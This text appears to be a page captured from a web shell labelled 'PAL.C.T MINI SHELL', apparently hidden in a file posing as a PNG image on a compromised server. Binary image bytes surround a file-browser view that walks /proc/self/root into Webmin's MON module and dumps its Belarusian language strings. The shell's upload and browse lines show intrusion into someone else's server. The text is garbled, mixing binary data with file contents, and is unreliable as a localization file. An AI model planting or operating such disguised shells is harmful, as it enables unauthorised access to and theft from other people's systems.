php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/mon/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/mon/lang/be.auto

index_title=Манітор службы MON
index_return=Індэкс MON
index_edir=Каталог MON $1 не існуе. Магчыма, MON не ўсталяваны, альбо ваша канфігурацыя модуля <a href='$2'></a> няправільная.
mon_global_title=Канфігурацыя глабальных зменных
mon_conf_title=Асноўная канфігурацыя
mon_status_title=Аперацыйны стан
hostgroups_title=Канфігурацыя MON-хаставыя групы
services_title=Азначэнні службы назірання

head_hostgroups=Група хастоў і паслугі
head_groups=Імя хаст-групы
head_members=Члены хост-групы
head_services=Паслугі хастовай групы для назірання
head_service=Служба для назірання
head_param=Параметры абслугоўвання
head_watch=Глядзіце гурт?
head_monauth=Падайце праверку сапраўднасці для MONCMD
head_usr=Імя карыстальніка
head_pass=Пароль
head_mand=(Параметры ў "Чырвоным колеры" з'яўляюцца абавязковымі)

err_nomon=пакет 'mon' не ўсталяваны ў сістэме
err_nomonconf=Файл канфігурацыі MON $1 у вашай сістэме не знойдзены. Магчыма, MON не ўсталяваны, альбо ваша канфігурацыя модуля <a href='$2'></a> няправільная.
err_nowatch=Няма абраных груп назірання Абярыце па меншай меры адну групу назірання для працягу
err_noserv=Для групы назіранняў не абрана служба
err_nomemb=У аглядавую групу не выбраны хосты/члены
err_monrun=MON не працуе на галоўнай машыне. Калі ласка, пачніце MON.
stop_err=Не атрымалася спыніць MON
stop_epid=Больш не працуе
start_err=Не атрымалася запусціць MON
restart_err=Не атрымалася перазапусціць MON
restart_epid=Не атрымалася атрымаць PID

other=Іншае (прастора аддзелена)
next=Далей
mon_stat=Статус MON
mon_off=Паслугі MON не пачаліся
mon_start=Запусціце паслугі MON
mon_stop=Спыніць паслугі MON
mon_restart=Перазапусціць паслугі MON
mon_startdesc=Націсніце гэтую кнопку, каб запусціць MON-сервер. Пакуль ён не запушчаны, наладжаны маніторынг ажыццяўляцца не будзе.
mon_stopdesc=Націсніце гэтую кнопку, каб спыніць сервер MON. Пры спыненні наладжаны маніторынг спыніцца.
mon_restartdesc=Націсніце гэтую кнопку, каб прымяніць бягучую канфігурацыю MON, перазапусціўшы серверны працэс.
line=(па адным у кожным радку)
save_apply=Захаваць і прымяніць
watch=Група назірання
members=Удзельнікі
def_perargs=wd {Сб-Нд}

def_desc=апісанне
def_inter=інтэрвал
def_mon=манітор
def_dep=залежыць
def_per=перыяд
def_alert=напагатове
def_alertevr=абвесткі
def_alertaft=апавяшчэнне
def_alertstr=startupalert
def_allow=enable_empty_group
def_traptime=пагаршэнне часу
def_trapdur=пастка
def_rand=рандсэк
def_exclhost=исключить_хосты
def_exclper=выключыць_перыяд

groups_title=Гаспадар групы
groups_group=Назва групы
groups_members=Удзельнік гаспадароў

watches_title=Глядзіце спісы
watches_group=Назіральная група
watches_services=Службы назіраюць
watches_sadd=Дадайце паслугу ..
watches_add=Дадаць спіс прагляду для групы :
watches_return=спісы прагляду
watches_none=Пакуль не вызначаны спісы назірання.

global_title=Глабальныя параметры
global_header=Варыянты глабальнай канфігурацыі MON
global_maxprocs=Максімальны працэс MON
global_histlength=Працягласць гісторыі падзей
global_alertdir=Каталог праграм абвесткі
global_mondir=Кантраляваць каталог праграм
global_authtype=Тып аўтэнтыфікацыі
global_authtype_=Па змаўчанні
global_authtype_getpwnam=Сістэмныя званкі
global_authtype_userfile=Файл карыстальнікаў MON
global_authtype_shadow=Файл ценяў
global_userfile=Файл карыстальніка MON
global_emaxprocs=Адсутнічае альбо недапушчальная колькасць працэсаў MON
global_ehistlength=Адсутнічае альбо недапушчальная даўжыня гісторыі падзей
global_ealertdir=Адсутнічае альбо несапраўдны каталог праграм абвесткі
global_emondir=Адсутнічае альбо несапраўдны каталог праграм маніторынгу
global_euserfile=Файл карыстальнікаў MON адсутнічае

watch_title=Рэдагаваць спіс назірання
watch_header=Падрабязнасці глядзяць гаспадары групы
watch_group=Гаспадар група для прагляду
watch_services=Службы назіраюць
watch_service=Назва службы
watch_monitor=Манітор для выкарыстання
watch_interval=Праверце кожнага
watch_periods=Перыяды маніторынгу

service_title=Дадайце сэрвіс
service_title2=Служба рэдагавання
service_header=Падрабязнасці службы прагляду
service_name=Назва службы
service_interval=Праверце кожнага
service_desc=Апісанне
service_units_s=секунд
service_units_m=хвілін
service_units_h=гадзін
service_units_d=дзён
service_units_w=тыдняў
service_monitor=Выкарыстанне манітора
service_mon1=Стандартны манітор
service_mon0=Іншы манітор ..
service_args=Параметры манітора
service_period=Перыяд маніторынгу, $1 
service_days=Дні для праверкі
service_hours=Гадзіны для праверкі
service_all=Усе
service_pstr=Спецыфікацыя перыяду
service_new=Новы перыяд маніторынгу
service_alerts=Абвесткі за перыяд
service_alert=Папярэджанне
service_atype=Выканаць, калі
service_atype_alert=Сэрвіс зніжаецца
service_atype_upalert=Паслугі прыходзіць
service_atype_startupalert=MON запускаецца
service_aargs=Дадатковыя параметры
service_every=Адправіць папярэджанне
service_every_def=Кожны раз, калі манітор запускаецца
service_every_time=Кожны
service_num=Максімальны абвесткі для адпраўкі
service_unlimited=Неабмежаваны
service_after=Адмовы перад абвесткай
service_immediate=Адразу
service_after_num=Пасля адмоваў $1 
service_aftertime=У прамежку часу
service_newperiod=Дадайце новы перыяд
service_delperiod=Выдаліць гэты перыяд
service_err=Не атрымалася захаваць службу
service_ename=Адсутнічае альбо недапушчальнае імя службы
service_einterval=Адсутнічае альбо недапушчальны прамежак праверкі
service_eother=Адсутнічае альбо недапушчальны манітор
service_ehour=Прапушчаная ці несапраўдная гадзіна за перыяд $1 (павінна быць як 9 раніцы ці 17 вечара)
service_eperiod=Няма дзён і гадзін, указаных за перыяд $1 
service_eevery=Адсутнічае альбо недапушчальны інтэрвал абслугоўвання
service_eafter=Адсутнічае альбо недапушчальная колькасць адмоваў перад абвесткай
service_enum=Адсутныя альбо недапушчальныя максімальныя абвесткі да адпраўкі
service_epstr=Спецыфікацыя адсутнічае перыяду
service_known0=<tt>Час :: Перыяд</tt> радок
service_known1=Пазначаныя дні і гадзіны
service_known2=Вызначаны перыяд

status_title=Статус MON
status_ecgi=Праграма CGI статусу MON $1 не існуе. Магчыма, ён не ўсталяваны, альбо ваша канфігурацыя модуля <a href='$2'></a> няправільная.
status_eperl=Праграма CGI статусу MON патрабуе модуля $1 perl. <a href='$2'>Націсніце тут</a>, каб усталяваць яго непасрэдна з CPAN.
status_esame=У гэтым модулі Webmin праграма CGI статусу MON $1 была ўсталявана ў сцэнары <tt>mon.cgi</tt>, а не ў праграме CGI, якая пастаўляецца з MON. Адрэгулюйце канфігурацыю модуля <a href='$2'></a>, каб выкарыстоўваць правільны шлях.

users_title=Карыстальнікі MON
users_etype=Спіс карыстальнікаў MON не можа быць адрэдагаваны, паколькі MON у цяперашні час не настроены для яго аўтэнтыфікацыі на старонцы <a href='$1'>Глабальныя параметры</a>.
users_header=Дазволена карыстальнікам MON у $1 
users_nousers=Ні адзін карыстальнік MON не вызначаны ў $1.
users_add=Стварыце новага карыстальніка.
users_return=Спіс карыстальнікаў MON

user_create=Стварыць MON карыстальніка
user_edit=Рэдагаваць карыстача MON
user_header=Падрабязнасці карыстальніка MON
user_user=Імя карыстальніка
user_pass=Пароль
user_leave=Пакіньце без зменаў
user_err=Не атрымалася захаваць карыстальніка
user_euser=Адсутнічае альбо недапушчальнае імя карыстальніка
user_esame=Карыстальнік з такім імем ужо існуе

auth_title=Каманды кліента
auth_desc=Гэтая старонка дазваляе кантраляваць, якія каманды MON могуць быць запушчаны карыстальнікамі пры выкарыстанні кліентскіх праграм.
auth_cmd=Каманда MON
auth_users=Дазволена карыстальнікам
auth_none=Ніхто
auth_all=Усе
auth_sel=Толькі карыстальнікі
auth_err=Не атрымалася захаваць кліентскія каманды
auth_eusers=Карыстальнікі $1 не ўводзяць

periods_title=Вызначаныя перыяды
periods_period=Назва перыяду
periods_times=Дні і часы
periods_alldays=Усе дні
periods_allhours=Усе гадзіны
periods_err=Не ўдалося захаваць пэўныя перыяды
periods_ename='$1' - няправільнае імя перыяду
periods_ehour=Прапушчаная ці несапраўдная гадзіна за перыяд $1 (павінна быць як 9 раніцы ці 17 вечара)

show_title=Аперацыйны стан
show_ecgi=Праграма статусу MON $1 не існуе. Магчыма, ён не ўсталяваны, альбо ваша <a href='$2'>канфігурацыя модуля</a> няправільная.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`